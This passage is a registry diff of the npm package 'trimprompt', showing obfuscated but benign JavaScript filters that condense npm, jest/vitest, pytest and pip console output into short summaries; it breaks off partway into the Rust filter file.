trimprompt 1.0.9 → 1.0.11

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/filters/js.js CHANGED
@@ -1 +1 @@
1
- 'use strict';function a0_0x4056(){const _0xe27cb4=['12jUkcLk','8898030dQIWOU','startsWith','2128920eWERPD','found\x20','Tests:','5408575xlMIkh','trim','FAIL\x20\x20','filterNpmInstall','includes','\x20passed,\x20','2786782GLzUyt','audited\x20','\x20failed\x20(','\x0aFailures:','Test\x20Runner:\x20','length','Test\x20Files:','slice','\x20passed','push','added\x20','removed\x20','up\x20to\x20date','Test\x20Suites:','1053171NPUvNx','join','\x20lines\x20of\x20trace\x20details\x20truncated)','match','4791913btsXay','NPM:\x20Packages\x20verified/installed\x20successfully','3tJVrrX','923896DisCGv'];a0_0x4056=function(){return _0xe27cb4;};return a0_0x4056();}const a0_0xccefa6=a0_0x5381;(function(_0x37d94e,_0x2c659e){const _0x1fb99c=a0_0x5381,_0x47cdfa=_0x37d94e();while(!![]){try{const _0x574f68=-parseInt(_0x1fb99c(0x1c2))/0x1+-parseInt(_0x1fb99c(0x1d6))/0x2+parseInt(_0x1fb99c(0x1c8))/0x3*(parseInt(_0x1fb99c(0x1c9))/0x4)+parseInt(_0x1fb99c(0x1d0))/0x5+-parseInt(_0x1fb99c(0x1ca))/0x6*(-parseInt(_0x1fb99c(0x1c6))/0x7)+-parseInt(_0x1fb99c(0x1cd))/0x8+parseInt(_0x1fb99c(0x1cb))/0x9;if(_0x574f68===_0x2c659e)break;else _0x47cdfa['push'](_0x47cdfa['shift']());}catch(_0x279d0d){_0x47cdfa['push'](_0x47cdfa['shift']());}}}(a0_0x4056,0xe9d68));Object['defineProperty'](exports,'__esModule',{'value':!![]}),exports[a0_0xccefa6(0x1d3)]=filterNpmInstall,exports['filterJestVitest']=filterJestVitest;function a0_0x5381(_0xe0c865,_0x32fbdf){_0xe0c865=_0xe0c865-0x1c2;const _0x405652=a0_0x4056();let _0x538181=_0x405652[_0xe0c865];return _0x538181;}function filterNpmInstall(_0xaca369){const _0x5b1681=a0_0xccefa6,_0x587b97=_0xaca369['replace'](/\r/g,'\x0a'),_0x4934f1=_0x587b97['split']('\x0a'),_0x406eb1=[];for(const _0x3db9a7 of _0x4934f1){const _0x14ad2e=_0x3db9a7['trim']();(_0x14ad2e['includes'](_0x5b1681(0x1e0))||_0x14ad2e[_0x5b1681(0x1d4)](_0x5b1681(0x1e1))||_0x14ad2e['includes'](_0x5b1681(0x1d7))||_0x14ad2e[_0x5b1681(0x1d4)](_0x5b1681(0x1e2))||_0x14ad2e[_0x5b1681(0x1d4)](_0x5b1681(0x1ce)))&&(!_0x14ad2e[_0x5b1681(0x1d4)]('%')&&!_0x14ad2e[_0x5b1681(0x1cc)]('⠋')&&!_0x14ad2e[_0x5b1681(0x1cc)]('⠙')&&_0x406eb1[_0x5b1681(0x1df)](_0x14ad2e));}const _0x55a607=_0x406eb1[_0x5b1681(0x1c3)]('\x0a')['trim']();return _0x55a607['length']>0x0?_0x55a607:_0x5b1681(0x1c7);}function filterJestVitest(_0x24ea36){const _0x2170b5=a0_0xccefa6,_0x43fb84=_0x24ea36['split']('\x0a');let _0x7fec24=0x0,_0x3cf6bd=0x0,_0x26dccd=0x0;const _0x250cb7=[];let _0x1d05c1=![];for(const _0x423949 of _0x43fb84){const _0x3a8238=_0x423949[_0x2170b5(0x1d1)]();if(_0x3a8238[_0x2170b5(0x1cc)]('Tests:')||_0x3a8238['includes'](_0x2170b5(0x1dc))){const _0x32ca70=_0x3a8238[_0x2170b5(0x1c5)](/(\d+)\s+passed/),_0x3be6a1=_0x3a8238[_0x2170b5(0x1c5)](/(\d+)\s+failed/),_0x5a2b1b=_0x3a8238[_0x2170b5(0x1c5)](/(\d+)\s+total/);if(_0x32ca70)_0x7fec24=parseInt(_0x32ca70[0x1]);if(_0x3be6a1)_0x3cf6bd=parseInt(_0x3be6a1[0x1]);if(_0x5a2b1b)_0x26dccd=parseInt(_0x5a2b1b[0x1]);continue;}(_0x3a8238[_0x2170b5(0x1cc)]('❯')||_0x3a8238[_0x2170b5(0x1cc)]('●')||_0x3a8238['startsWith'](_0x2170b5(0x1d2)))&&(_0x1d05c1=!![]),_0x1d05c1&&(_0x3a8238[_0x2170b5(0x1db)]>0x0&&!_0x3a8238[_0x2170b5(0x1cc)](_0x2170b5(0x1e3))&&!_0x3a8238[_0x2170b5(0x1cc)](_0x2170b5(0x1cf))&&_0x250cb7[_0x2170b5(0x1df)](_0x423949));}if(_0x26dccd===0x0&&_0x7fec24===0x0&&_0x3cf6bd===0x0){if(_0x24ea36[_0x2170b5(0x1d4)]('PASS')&&!_0x24ea36[_0x2170b5(0x1d4)]('FAIL')){const _0xc852ee=_0x24ea36['match'](/(\d+)\s+passed/),_0x369d2f=_0xc852ee?_0xc852ee[0x1]:'all';return _0x2170b5(0x1da)+_0x369d2f+_0x2170b5(0x1de);}return _0x24ea36;}if(_0x3cf6bd===0x0&&_0x7fec24>0x0)return'Test\x20Runner:\x20'+_0x7fec24+_0x2170b5(0x1de);const _0x5b4b88=[_0x2170b5(0x1da)+_0x7fec24+_0x2170b5(0x1d5)+_0x3cf6bd+_0x2170b5(0x1d8)+_0x26dccd+'\x20total)'];if(_0x250cb7[_0x2170b5(0x1db)]>0x0){_0x5b4b88[_0x2170b5(0x1df)](_0x2170b5(0x1d9));const _0x3c0988=0x19,_0x256790=_0x250cb7[_0x2170b5(0x1dd)](0x0,_0x3c0988);for(const _0x37471d of _0x256790){_0x5b4b88[_0x2170b5(0x1df)]('\x20\x20'+_0x37471d);}_0x250cb7[_0x2170b5(0x1db)]>_0x3c0988&&_0x5b4b88['push']('\x20\x20...\x20('+(_0x250cb7[_0x2170b5(0x1db)]-_0x3c0988)+_0x2170b5(0x1c4));}return _0x5b4b88[_0x2170b5(0x1c3)]('\x0a');}
1
+ 'use strict';const a0_0x1644ec=a0_0x4cf2;(function(_0x525477,_0x4c71d7){const _0x5e35d7=a0_0x4cf2,_0x57616a=_0x525477();while(!![]){try{const _0x502c7b=-parseInt(_0x5e35d7(0x1bc))/0x1*(-parseInt(_0x5e35d7(0x1ca))/0x2)+-parseInt(_0x5e35d7(0x1c8))/0x3*(parseInt(_0x5e35d7(0x1c4))/0x4)+-parseInt(_0x5e35d7(0x1c5))/0x5*(parseInt(_0x5e35d7(0x1ba))/0x6)+parseInt(_0x5e35d7(0x1ce))/0x7+-parseInt(_0x5e35d7(0x1b9))/0x8*(parseInt(_0x5e35d7(0x1c3))/0x9)+parseInt(_0x5e35d7(0x1da))/0xa*(parseInt(_0x5e35d7(0x1c9))/0xb)+parseInt(_0x5e35d7(0x1d2))/0xc;if(_0x502c7b===_0x4c71d7)break;else _0x57616a['push'](_0x57616a['shift']());}catch(_0x46e002){_0x57616a['push'](_0x57616a['shift']());}}}(a0_0x429d,0x5c80d));function a0_0x429d(){const _0x55eefc=['Test\x20Files:','1950081VDkUbQ','includes','\x20total)','up\x20to\x20date','6619044XbwaAl','split','\x20lines\x20of\x20trace\x20details\x20truncated)','push','\x0aFailures:','\x20passed','length','Test\x20Runner:\x20','50vhZqOC','found\x20','\x20failed\x20(','trim','match','5779544acMKpn','42pShyKZ','Test\x20Suites:','58160cylBJt','PASS','filterJestVitest','startsWith','join','Tests:','filterNpmInstall','9bopYEu','4xHDyEh','208655rmqUFA','\x20passed,\x20','slice','683976kqlWho','1484901bJrMqN','4JQPQhL','FAIL','NPM:\x20Packages\x20verified/installed\x20successfully'];a0_0x429d=function(){return _0x55eefc;};return a0_0x429d();}function a0_0x4cf2(_0x38ba9a,_0x2a475c){_0x38ba9a=_0x38ba9a-0x1b5;const _0x429dbc=a0_0x429d();let _0x4cf2d3=_0x429dbc[_0x38ba9a];return _0x4cf2d3;}Object['defineProperty'](exports,'__esModule',{'value':!![]}),exports[a0_0x1644ec(0x1c2)]=filterNpmInstall,exports[a0_0x1644ec(0x1be)]=filterJestVitest;function filterNpmInstall(_0x28ceda){const _0x26a5f2=a0_0x1644ec,_0x2f4c93=_0x28ceda['replace'](/\r/g,'\x0a'),_0x366db5=_0x2f4c93[_0x26a5f2(0x1d3)]('\x0a'),_0x26558c=[];for(const _0x4cf959 of _0x366db5){const _0x4a2749=_0x4cf959['trim']();(_0x4a2749[_0x26a5f2(0x1cf)]('added\x20')||_0x4a2749[_0x26a5f2(0x1cf)]('removed\x20')||_0x4a2749['includes']('audited\x20')||_0x4a2749['includes'](_0x26a5f2(0x1d1))||_0x4a2749[_0x26a5f2(0x1cf)](_0x26a5f2(0x1b5)))&&(!_0x4a2749[_0x26a5f2(0x1cf)]('%')&&!_0x4a2749['startsWith']('⠋')&&!_0x4a2749['startsWith']('⠙')&&_0x26558c[_0x26a5f2(0x1d5)](_0x4a2749));}const _0x5cfceb=_0x26558c[_0x26a5f2(0x1c0)]('\x0a')[_0x26a5f2(0x1b7)]();return _0x5cfceb[_0x26a5f2(0x1d8)]>0x0?_0x5cfceb:_0x26a5f2(0x1cc);}function filterJestVitest(_0x5e99cb){const _0x33a502=a0_0x1644ec,_0x12f549=_0x5e99cb[_0x33a502(0x1d3)]('\x0a');let _0xbf2a6c=0x0,_0x2209c8=0x0,_0x548daa=0x0;const _0x1297be=[];let _0x2aea0c=![];for(const _0x220630 of _0x12f549){const _0x2c8c32=_0x220630[_0x33a502(0x1b7)]();if(_0x2c8c32[_0x33a502(0x1bf)](_0x33a502(0x1c1))||_0x2c8c32[_0x33a502(0x1cf)](_0x33a502(0x1cd))){const _0x140f6d=_0x2c8c32['match'](/(\d+)\s+passed/),_0x2f7dd1=_0x2c8c32[_0x33a502(0x1b8)](/(\d+)\s+failed/),_0x5e76c4=_0x2c8c32['match'](/(\d+)\s+total/);if(_0x140f6d)_0xbf2a6c=parseInt(_0x140f6d[0x1]);if(_0x2f7dd1)_0x2209c8=parseInt(_0x2f7dd1[0x1]);if(_0x5e76c4)_0x548daa=parseInt(_0x5e76c4[0x1]);continue;}(_0x2c8c32[_0x33a502(0x1bf)]('❯')||_0x2c8c32[_0x33a502(0x1bf)]('●')||_0x2c8c32[_0x33a502(0x1bf)]('FAIL\x20\x20'))&&(_0x2aea0c=!![]),_0x2aea0c&&(_0x2c8c32[_0x33a502(0x1d8)]>0x0&&!_0x2c8c32[_0x33a502(0x1bf)](_0x33a502(0x1bb))&&!_0x2c8c32['startsWith'](_0x33a502(0x1c1))&&_0x1297be['push'](_0x220630));}if(_0x548daa===0x0&&_0xbf2a6c===0x0&&_0x2209c8===0x0){if(_0x5e99cb[_0x33a502(0x1cf)](_0x33a502(0x1bd))&&!_0x5e99cb[_0x33a502(0x1cf)](_0x33a502(0x1cb))){const _0x392998=_0x5e99cb['match'](/(\d+)\s+passed/),_0xb65f4b=_0x392998?_0x392998[0x1]:'all';return _0x33a502(0x1d9)+_0xb65f4b+_0x33a502(0x1d7);}return _0x5e99cb;}if(_0x2209c8===0x0&&_0xbf2a6c>0x0)return _0x33a502(0x1d9)+_0xbf2a6c+_0x33a502(0x1d7);const _0x3c8d01=[_0x33a502(0x1d9)+_0xbf2a6c+_0x33a502(0x1c6)+_0x2209c8+_0x33a502(0x1b6)+_0x548daa+_0x33a502(0x1d0)];if(_0x1297be[_0x33a502(0x1d8)]>0x0){_0x3c8d01['push'](_0x33a502(0x1d6));const _0x1afcd3=0x19,_0x40bcf8=_0x1297be[_0x33a502(0x1c7)](0x0,_0x1afcd3);for(const _0x1d8dbf of _0x40bcf8){_0x3c8d01['push']('\x20\x20'+_0x1d8dbf);}_0x1297be[_0x33a502(0x1d8)]>_0x1afcd3&&_0x3c8d01[_0x33a502(0x1d5)]('\x20\x20...\x20('+(_0x1297be[_0x33a502(0x1d8)]-_0x1afcd3)+_0x33a502(0x1d4));}return _0x3c8d01['join']('\x0a');}
package/filters/python.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x1df4dc=a0_0x5111;(function(_0x12d86a,_0x26f53a){const _0x42ab2e=a0_0x5111,_0x331c7e=_0x12d86a();while(!![]){try{const _0x10a5e7=-parseInt(_0x42ab2e(0x189))/0x1*(parseInt(_0x42ab2e(0x1ab))/0x2)+parseInt(_0x42ab2e(0x1a2))/0x3+-parseInt(_0x42ab2e(0x188))/0x4*(-parseInt(_0x42ab2e(0x18c))/0x5)+-parseInt(_0x42ab2e(0x199))/0x6+-parseInt(_0x42ab2e(0x18e))/0x7*(-parseInt(_0x42ab2e(0x191))/0x8)+parseInt(_0x42ab2e(0x18f))/0x9+-parseInt(_0x42ab2e(0x18d))/0xa*(parseInt(_0x42ab2e(0x197))/0xb);if(_0x10a5e7===_0x26f53a)break;else _0x331c7e['push'](_0x331c7e['shift']());}catch(_0x49f5b8){_0x331c7e['push'](_0x331c7e['shift']());}}}(a0_0x5577,0x5e0c4));function a0_0x5577(){const _0x4bec8d=['.py:','Collecting','defineProperty','Successfully\x20installed','slice','\x0aFailures:','356282wbfdYr','\x20skipped','AssertionError:','E\x20\x20\x20','startsWith','\x20\x20\x20\x20','passed','\x20passed','\x20more\x20failures\x20truncated','filter','===\x20short\x20test\x20summary\x20info\x20===','2016652ZlmHLQ','1TLVPHq','\x20failed','length','5CpHrJS','8530NxJlaS','3621562TlsJfI','6263469wdEHHs','join','8exIJCh','===','split','trim','push','Requirement\x20already\x20satisfied','14971oqNnLI','\x20in\x20','4327482NocykY','\x20xpassed\x20(warning!)','match','filterPipInstall','\x20\x20\x20\x20...\x20(','includes','__esModule','Downloading','___','2184213iRIdlY','Pytest:\x20','\x20xfailed'];a0_0x5577=function(){return _0x4bec8d;};return a0_0x5577();}function a0_0x5111(_0x9cd753,_0x59713e){_0x9cd753=_0x9cd753-0x17e;const _0x5577dc=a0_0x5577();let _0x5111b1=_0x5577dc[_0x9cd753];return _0x5111b1;}Object[a0_0x1df4dc(0x1a7)](exports,a0_0x1df4dc(0x19f),{'value':!![]}),exports['filterPytest']=filterPytest,exports[a0_0x1df4dc(0x19c)]=filterPipInstall;function filterPytest(_0xe15303){const _0x45148c=a0_0x1df4dc,_0x565e84=_0xe15303[_0x45148c(0x193)]('\x0a');let _0x593fd1=0x0,_0xa76707=0x0,_0x2049c8=0x0,_0x25b1ad=0x0,_0x5b7a57=0x0;const _0x579c70=[];let _0x279dd2=[],_0x47fabd=![];for(const _0xd49430 of _0x565e84){const _0x37a05a=_0xd49430[_0x45148c(0x194)]();if(_0x37a05a[_0x45148c(0x181)]('===\x20FAILURES\x20===')||_0x37a05a[_0x45148c(0x181)]('===\x20ERRORS\x20===')){_0x47fabd=!![];continue;}else(_0x37a05a[_0x45148c(0x181)](_0x45148c(0x187))||_0x37a05a[_0x45148c(0x181)](_0x45148c(0x192))&&_0x37a05a[_0x45148c(0x19e)]('passed'))&&(_0x47fabd=![],_0x279dd2[_0x45148c(0x18b)]>0x0&&(_0x579c70[_0x45148c(0x195)](_0x279dd2),_0x279dd2=[]));if(_0x47fabd){if(_0x37a05a['startsWith'](_0x45148c(0x1a1)))_0x279dd2[_0x45148c(0x18b)]>0x0&&(_0x579c70['push'](_0x279dd2),_0x279dd2=[]),_0x279dd2[_0x45148c(0x195)](_0x37a05a);else _0x37a05a['length']>0x0&&_0x279dd2['push'](_0xd49430);continue;}if(_0x37a05a['startsWith'](_0x45148c(0x192))&&_0x37a05a[_0x45148c(0x19e)](_0x45148c(0x198))){const _0x4b7a55=_0x37a05a[_0x45148c(0x19b)](/(\d+)\s+passed/),_0x3918ec=_0x37a05a[_0x45148c(0x19b)](/(\d+)\s+failed/),_0x271e5b=_0x37a05a['match'](/(\d+)\s+skipped/),_0x1b461e=_0x37a05a[_0x45148c(0x19b)](/(\d+)\s+xfailed/),_0x3056a7=_0x37a05a[_0x45148c(0x19b)](/(\d+)\s+xpassed/);if(_0x4b7a55)_0x593fd1=parseInt(_0x4b7a55[0x1]);if(_0x3918ec)_0xa76707=parseInt(_0x3918ec[0x1]);if(_0x271e5b)_0x2049c8=parseInt(_0x271e5b[0x1]);if(_0x1b461e)_0x25b1ad=parseInt(_0x1b461e[0x1]);if(_0x3056a7)_0x5b7a57=parseInt(_0x3056a7[0x1]);}}_0x279dd2['length']>0x0&&_0x579c70[_0x45148c(0x195)](_0x279dd2);if(_0x593fd1===0x0&&_0xa76707===0x0&&_0x2049c8===0x0&&_0x25b1ad===0x0&&_0x5b7a57===0x0){if(_0xe15303[_0x45148c(0x19e)](_0x45148c(0x183))&&!_0xe15303[_0x45148c(0x19e)]('failed'))return'Pytest:\x20All\x20tests\x20passed';return _0xe15303;}if(_0xa76707===0x0&&_0x593fd1>0x0&&_0x2049c8===0x0&&_0x25b1ad===0x0&&_0x5b7a57===0x0)return _0x45148c(0x1a3)+_0x593fd1+_0x45148c(0x184);const _0x20db09=[];_0x20db09['push']('Pytest:\x20'+_0x593fd1+_0x45148c(0x184));if(_0xa76707>0x0)_0x20db09[_0x45148c(0x195)](_0xa76707+_0x45148c(0x18a));if(_0x2049c8>0x0)_0x20db09[_0x45148c(0x195)](_0x2049c8+_0x45148c(0x17e));if(_0x25b1ad>0x0)_0x20db09[_0x45148c(0x195)](_0x25b1ad+_0x45148c(0x1a4));if(_0x5b7a57>0x0)_0x20db09[_0x45148c(0x195)](_0x5b7a57+_0x45148c(0x19a));const _0x39fc86=[_0x20db09['join'](',\x20')];if(_0x579c70[_0x45148c(0x18b)]>0x0){_0x39fc86['push'](_0x45148c(0x1aa));const _0x16d5f7=0x3,_0x214f09=_0x579c70[_0x45148c(0x1a9)](0x0,_0x16d5f7);for(let _0x336e23=0x0;_0x336e23<_0x214f09[_0x45148c(0x18b)];_0x336e23++){const _0x3271bf=_0x214f09[_0x336e23],_0x4de819=_0x3271bf[0x0]['replace'](/_/g,'')[_0x45148c(0x194)]();_0x39fc86[_0x45148c(0x195)]('\x20\x20'+(_0x336e23+0x1)+'.\x20[FAIL]\x20'+_0x4de819);const _0x9e055e=_0x3271bf[_0x45148c(0x1a9)](0x1),_0x1154b9=_0x9e055e[_0x45148c(0x186)](_0x33d9dc=>{const _0x4a3c9f=_0x45148c,_0x3560e3=_0x33d9dc[_0x4a3c9f(0x194)]();return _0x3560e3[_0x4a3c9f(0x181)]('>')||_0x3560e3[_0x4a3c9f(0x181)](_0x4a3c9f(0x180))||_0x3560e3[_0x4a3c9f(0x19e)](_0x4a3c9f(0x1a5))||_0x3560e3[_0x4a3c9f(0x19e)](_0x4a3c9f(0x17f));});for(const _0x1d8e09 of _0x1154b9[_0x45148c(0x1a9)](0x0,0x8)){_0x39fc86[_0x45148c(0x195)](_0x45148c(0x182)+_0x1d8e09);}_0x1154b9[_0x45148c(0x18b)]>0x8&&_0x39fc86['push'](_0x45148c(0x19d)+(_0x1154b9[_0x45148c(0x18b)]-0x8)+'\x20lines\x20of\x20stacktrace\x20truncated)');}_0x579c70['length']>_0x16d5f7&&_0x39fc86[_0x45148c(0x195)]('\x20\x20...\x20+'+(_0x579c70[_0x45148c(0x18b)]-_0x16d5f7)+_0x45148c(0x185));}return _0x39fc86[_0x45148c(0x190)]('\x0a');}function filterPipInstall(_0x34d763){const _0x449356=a0_0x1df4dc,_0xfeebcb=_0x34d763['split']('\x0a'),_0x401c06=[];for(const _0x3acc59 of _0xfeebcb){const _0x5248be=_0x3acc59[_0x449356(0x194)]();_0x5248be[_0x449356(0x181)](_0x449356(0x1a8))&&_0x401c06[_0x449356(0x195)](_0x5248be);}if(_0x401c06[_0x449356(0x18b)]>0x0)return _0x401c06[_0x449356(0x190)]('\x0a');return _0xfeebcb[_0x449356(0x186)](_0x4ed4f4=>{const _0x107c16=_0x449356,_0x227274=_0x4ed4f4[_0x107c16(0x194)]();return!_0x227274['startsWith'](_0x107c16(0x1a6))&&!_0x227274[_0x107c16(0x181)](_0x107c16(0x1a0))&&!_0x227274['includes']('Using\x20cached')&&!_0x227274[_0x107c16(0x181)](_0x107c16(0x196));})[_0x449356(0x190)]('\x0a')['trim']();}
1
+ 'use strict';const a0_0x5474e6=a0_0x4383;(function(_0x4583cd,_0x3f3c8d){const _0x3b5c24=a0_0x4383,_0x170b69=_0x4583cd();while(!![]){try{const _0x34ef4f=-parseInt(_0x3b5c24(0xf8))/0x1*(-parseInt(_0x3b5c24(0x105))/0x2)+parseInt(_0x3b5c24(0x122))/0x3*(parseInt(_0x3b5c24(0xff))/0x4)+parseInt(_0x3b5c24(0x123))/0x5*(parseInt(_0x3b5c24(0x106))/0x6)+parseInt(_0x3b5c24(0x120))/0x7+parseInt(_0x3b5c24(0xfa))/0x8*(-parseInt(_0x3b5c24(0x117))/0x9)+-parseInt(_0x3b5c24(0x10c))/0xa+-parseInt(_0x3b5c24(0x11a))/0xb*(parseInt(_0x3b5c24(0xf7))/0xc);if(_0x34ef4f===_0x3f3c8d)break;else _0x170b69['push'](_0x170b69['shift']());}catch(_0x37d5f9){_0x170b69['push'](_0x170b69['shift']());}}}(a0_0x3fe8,0xeed4a));Object[a0_0x5474e6(0x11c)](exports,a0_0x5474e6(0x121),{'value':!![]}),exports[a0_0x5474e6(0x10a)]=filterPytest,exports[a0_0x5474e6(0x10d)]=filterPipInstall;function filterPytest(_0x39348e){const _0x446511=a0_0x5474e6,_0x14cfcd=_0x39348e[_0x446511(0x113)]('\x0a');let _0x2f07f6=0x0,_0xa3975e=0x0,_0x56b469=0x0,_0x33af4b=0x0,_0x5bc052=0x0;const _0x471c11=[];let _0x51177f=[],_0x25f3ff=![];for(const _0x1446cb of _0x14cfcd){const _0x598414=_0x1446cb['trim']();if(_0x598414['startsWith'](_0x446511(0x111))||_0x598414[_0x446511(0x11d)](_0x446511(0x126))){_0x25f3ff=!![];continue;}else(_0x598414['startsWith'](_0x446511(0x102))||_0x598414[_0x446511(0x11d)]('===')&&_0x598414['includes']('passed'))&&(_0x25f3ff=![],_0x51177f['length']>0x0&&(_0x471c11[_0x446511(0x10e)](_0x51177f),_0x51177f=[]));if(_0x25f3ff){if(_0x598414[_0x446511(0x11d)](_0x446511(0xfd)))_0x51177f[_0x446511(0x109)]>0x0&&(_0x471c11[_0x446511(0x10e)](_0x51177f),_0x51177f=[]),_0x51177f[_0x446511(0x10e)](_0x598414);else _0x598414[_0x446511(0x109)]>0x0&&_0x51177f[_0x446511(0x10e)](_0x1446cb);continue;}if(_0x598414[_0x446511(0x11d)](_0x446511(0x114))&&_0x598414[_0x446511(0x103)](_0x446511(0x112))){const _0xf6f260=_0x598414[_0x446511(0x107)](/(\d+)\s+passed/),_0x1944d7=_0x598414[_0x446511(0x107)](/(\d+)\s+failed/),_0x533614=_0x598414[_0x446511(0x107)](/(\d+)\s+skipped/),_0x264ba8=_0x598414[_0x446511(0x107)](/(\d+)\s+xfailed/),_0x1d9dc4=_0x598414[_0x446511(0x107)](/(\d+)\s+xpassed/);if(_0xf6f260)_0x2f07f6=parseInt(_0xf6f260[0x1]);if(_0x1944d7)_0xa3975e=parseInt(_0x1944d7[0x1]);if(_0x533614)_0x56b469=parseInt(_0x533614[0x1]);if(_0x264ba8)_0x33af4b=parseInt(_0x264ba8[0x1]);if(_0x1d9dc4)_0x5bc052=parseInt(_0x1d9dc4[0x1]);}}_0x51177f[_0x446511(0x109)]>0x0&&_0x471c11[_0x446511(0x10e)](_0x51177f);if(_0x2f07f6===0x0&&_0xa3975e===0x0&&_0x56b469===0x0&&_0x33af4b===0x0&&_0x5bc052===0x0){if(_0x39348e[_0x446511(0x103)]('passed')&&!_0x39348e[_0x446511(0x103)](_0x446511(0x115)))return _0x446511(0x128);return _0x39348e;}if(_0xa3975e===0x0&&_0x2f07f6>0x0&&_0x56b469===0x0&&_0x33af4b===0x0&&_0x5bc052===0x0)return _0x446511(0x118)+_0x2f07f6+_0x446511(0x11e);const _0x554a60=[];_0x554a60[_0x446511(0x10e)](_0x446511(0x118)+_0x2f07f6+_0x446511(0x11e));if(_0xa3975e>0x0)_0x554a60[_0x446511(0x10e)](_0xa3975e+_0x446511(0x10f));if(_0x56b469>0x0)_0x554a60[_0x446511(0x10e)](_0x56b469+_0x446511(0x101));if(_0x33af4b>0x0)_0x554a60[_0x446511(0x10e)](_0x33af4b+_0x446511(0x10b));if(_0x5bc052>0x0)_0x554a60[_0x446511(0x10e)](_0x5bc052+_0x446511(0x11f));const _0x2ef7ae=[_0x554a60[_0x446511(0xfb)](',\x20')];if(_0x471c11[_0x446511(0x109)]>0x0){_0x2ef7ae[_0x446511(0x10e)]('\x0aFailures:');const _0x230a6d=0x3,_0x44df9e=_0x471c11['slice'](0x0,_0x230a6d);for(let _0x5a2f94=0x0;_0x5a2f94<_0x44df9e[_0x446511(0x109)];_0x5a2f94++){const _0x225ef2=_0x44df9e[_0x5a2f94],_0xf87864=_0x225ef2[0x0]['replace'](/_/g,'')[_0x446511(0x127)]();_0x2ef7ae[_0x446511(0x10e)]('\x20\x20'+(_0x5a2f94+0x1)+'.\x20[FAIL]\x20'+_0xf87864);const _0x42928e=_0x225ef2[_0x446511(0x125)](0x1),_0x101f6e=_0x42928e[_0x446511(0xfe)](_0x21bb6e=>{const _0x50d756=_0x446511,_0x5b73f2=_0x21bb6e[_0x50d756(0x127)]();return _0x5b73f2[_0x50d756(0x11d)]('>')||_0x5b73f2[_0x50d756(0x11d)](_0x50d756(0x116))||_0x5b73f2['includes']('.py:')||_0x5b73f2[_0x50d756(0x103)](_0x50d756(0x124));});for(const _0x4b589f of _0x101f6e[_0x446511(0x125)](0x0,0x8)){_0x2ef7ae[_0x446511(0x10e)](_0x446511(0x104)+_0x4b589f);}_0x101f6e[_0x446511(0x109)]>0x8&&_0x2ef7ae[_0x446511(0x10e)](_0x446511(0xfc)+(_0x101f6e[_0x446511(0x109)]-0x8)+_0x446511(0x11b));}_0x471c11[_0x446511(0x109)]>_0x230a6d&&_0x2ef7ae['push']('\x20\x20...\x20+'+(_0x471c11[_0x446511(0x109)]-_0x230a6d)+'\x20more\x20failures\x20truncated');}return _0x2ef7ae[_0x446511(0xfb)]('\x0a');}function a0_0x4383(_0x2239c3,_0x20cc67){_0x2239c3=_0x2239c3-0xf7;const _0x3fe83a=a0_0x3fe8();let _0x4383c1=_0x3fe83a[_0x2239c3];return _0x4383c1;}function a0_0x3fe8(){const _0x2caa55=['\x20xpassed\x20(warning!)','3172568FzEWVm','__esModule','4284LFCDur','4295WSqGUl','AssertionError:','slice','===\x20ERRORS\x20===','trim','Pytest:\x20All\x20tests\x20passed','120180jpOoPp','31mTmoJz','Using\x20cached','192XqmVwK','join','\x20\x20\x20\x20...\x20(','___','filter','2896qZpiVY','Requirement\x20already\x20satisfied','\x20skipped','===\x20short\x20test\x20summary\x20info\x20===','includes','\x20\x20\x20\x20','33164xnxGsU','12684LkjFpH','match','Collecting','length','filterPytest','\x20xfailed','15355830zlTipR','filterPipInstall','push','\x20failed','Downloading','===\x20FAILURES\x20===','\x20in\x20','split','===','failed','E\x20\x20\x20','304686cjLXyQ','Pytest:\x20','Successfully\x20installed','539VuXvDU','\x20lines\x20of\x20stacktrace\x20truncated)','defineProperty','startsWith','\x20passed'];a0_0x3fe8=function(){return _0x2caa55;};return a0_0x3fe8();}function filterPipInstall(_0x2d3555){const _0x4d225c=a0_0x5474e6,_0x503f14=_0x2d3555['split']('\x0a'),_0x3d7b62=[];for(const _0xaad885 of _0x503f14){const _0x433938=_0xaad885['trim']();_0x433938['startsWith'](_0x4d225c(0x119))&&_0x3d7b62[_0x4d225c(0x10e)](_0x433938);}if(_0x3d7b62[_0x4d225c(0x109)]>0x0)return _0x3d7b62[_0x4d225c(0xfb)]('\x0a');return _0x503f14[_0x4d225c(0xfe)](_0x17190b=>{const _0x191b8b=_0x4d225c,_0x403593=_0x17190b[_0x191b8b(0x127)]();return!_0x403593[_0x191b8b(0x11d)](_0x191b8b(0x108))&&!_0x403593[_0x191b8b(0x11d)](_0x191b8b(0x110))&&!_0x403593[_0x191b8b(0x103)](_0x191b8b(0xf9))&&!_0x403593[_0x191b8b(0x11d)](_0x191b8b(0x100));})[_0x4d225c(0xfb)]('\x0a')[_0x4d225c(0x127)]();}
package/filters/rust.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x487b41=a0_0x4b56;(function(_0x40c8b4,_0x57af4a){const _0x684fd1=a0_0x4b56,_0x48b408=_0x40c8b4();while(!![]){try{const _0x151d8f=parseInt(_0x684fd1(0x95))/0x1*(parseInt(_0x684fd1(0x98))/0x2)+parseInt(_0x684fd1(0x93))/0x3+parseInt(_0x684fd1(0x9d))/0x4*(-parseInt(_0x684fd1(0x91))/0x5)+parseInt(_0x684fd1(0x87))/0x6+-parseInt(_0x684fd1(0xa0))/0x7*(parseInt(_0x684fd1(0xbb))/0x8)+parseInt(_0x684fd1(0xab))/0x9*(parseInt(_0x684fd1(0x9c))/0xa)+-parseInt(_0x684fd1(0xa6))/0xb;if(_0x151d8f===_0x57af4a)break;else _0x48b408['push'](_0x48b408['shift']());}catch(_0x237bb6){_0x48b408['push'](_0x48b408['shift']());}}}(a0_0x1f17,0xa73f8));Object['defineProperty'](exports,'__esModule',{'value':!![]}),exports[a0_0x487b41(0x8d)]=filterCargoTest,exports['filterCargoBuild']=filterCargoBuild;function a0_0x4b56(_0x5bdc6c,_0x33e874){_0x5bdc6c=_0x5bdc6c-0x85;const _0x1f1776=a0_0x1f17();let _0x4b566f=_0x1f1776[_0x5bdc6c];return _0x4b566f;}function filterCargoTest(_0x331790){const _0x528117=a0_0x487b41,_0x589c56=_0x331790[_0x528117(0xaf)]('\x0a');let _0x26b407=0x0,_0x36f2bb=0x0,_0x54e87f=0x0,_0x402967=0x0;const _0x50a38d=[];let _0xc9d84=![],_0x4f5902=[];for(const _0x44aaad of _0x589c56){const 